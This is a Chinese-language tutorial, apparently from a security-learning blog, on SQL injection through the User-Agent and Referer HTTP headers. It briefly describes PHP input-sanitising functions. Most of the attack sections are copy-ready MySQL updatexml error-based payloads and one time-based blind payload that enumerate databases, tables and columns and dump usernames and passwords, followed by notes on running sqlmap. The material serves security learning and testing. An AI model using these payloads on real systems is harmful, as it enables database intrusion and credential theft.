一)HTTP头中的SQL注入
1)HTTP头中的注入介绍
2)HTTP User-Agent注入
3)HTTP Referer注入
4)sqlmap安全测试
————————————————————————————————————————————————————————
一)HTTP头中的SQL注入
1)HTTP头中的注入介绍
上面代码中使用的方法解析:
1)check_input()——判断是否有输入一个变量$value
2)empty()——判断变量$value的值是否为空
3)substr()——从变量$value的值的第一个字符开始截取,截取的长度为20
4)get_magic_quotes_gpc()——判断解析用户提示的数据。
5)stripslashes()——删除由addslashes()函数添加的反斜杠。
6)ctype_digit()——检测一个字符串中所以的字符是否都为纯数字。
7)mysql_real_escape_string()——转义 SQL 语句中使用的字符串中的特殊字符
8)intval()——函数用于获取变量的整数值
更详细的有关函数的解析参加:预防数据库攻击的有关方法(函数)
如果是HTTP User-Agent注入那么此时的注入点就是User-Agent,不再如前面是uname或者passwd,那么对于POST型注入就需要先有一个此网站的账号密码用于成功登录网站,之后利用User-Agent注入点构造对于的payload以获取网站有关的其他敏感信息或者是网站数据库中的其他所有用户。
2)HTTP User-Agent注入
通常也使用updatexml()函数和exteractvalue()函数进行报错注入。返回结果为连接参数产生的字符串,如有任何一个参数为NULL ,则返回值为 NULL。使用updatexml()函数,它的语法是:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string ,也就是:Xpath格式的想要被替换的字符串;
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
MySQL中的SQL语句:select name from user where id=1 and updatexml(1,concat(’~’,(select database()),’~’),3);
发现注入成功,成功爆出数据库名。
解释:
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,
concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,
这样就可以实现报错注入了。
a)判断是否存在SQL注入:加 \
b)爆数据库版本信息:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
c)当前连接数据库的用户:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1'='1
d)爆库:
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or '1'='1
e)爆表:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1
f)爆字段:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) or '1'='1
g)dump数据:
' and updatexml(1,concat(0x7e,(select concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1) or '1'='1
SQL注入与User-Agent 的联系参见:https://blog.csdn.net/weixin_46709219/article/details/111399314
3)HTTP Referer注入
a)判断是否存在SQL注入:加 \
b)爆库:
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) or '1'='1
或者采用时间盲注:
' or if(length((select schema_name from information_schema.schemata limit 0,1))>5,sleep(5),1) or '1'='1
c)爆表:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1
d)爆字段:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) or '1'='1
f)dump数据:
' and updatexml(1,concat(0x7e,(select concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1) or '1'='1
4)sqlmap安全测试
如果我们已经确定了注入位置(例如:referer)那么我们将请求头保存到一个target.txt文件中,并将注入位置的值修改为 *
,此时当我们使用sqlmap对target.txt进行对应参数的探测时就会默认对设置了 *
的位置进行探测。
5)补充知识
对于上面的 “ 1)HTTP头中的注入介绍 ”中使用的防御SQL注入的函数的更加详细的讲解请参见:预防数据库攻击的有关方法(函数)